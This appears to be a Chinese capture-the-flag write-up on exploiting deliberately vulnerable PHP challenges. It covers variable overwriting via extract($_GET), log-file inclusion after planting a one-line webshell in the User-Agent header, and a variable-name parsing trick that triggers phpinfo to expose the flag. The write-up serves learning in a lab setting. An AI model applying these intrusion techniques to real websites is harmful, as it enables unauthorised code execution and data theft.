要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入?isVIP=1;strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;但 include($ctf); 可以进行日志文件包含

image-20251121204508873

可以看到这是UA里的东西,我们直接bp抓包写一句话木马

image-20251123131614412

似乎要点两次发送,一次写入,一次读取,就能拿到结果

web150+

image-20251121213431300

修复了日志包含的非预期解

image-20251121213633575

变量 ..CTFSHOW.. 会解析成 CTFSHOW ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$CTFSHOW 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。
image-20251121213748272

在里面可以找到flag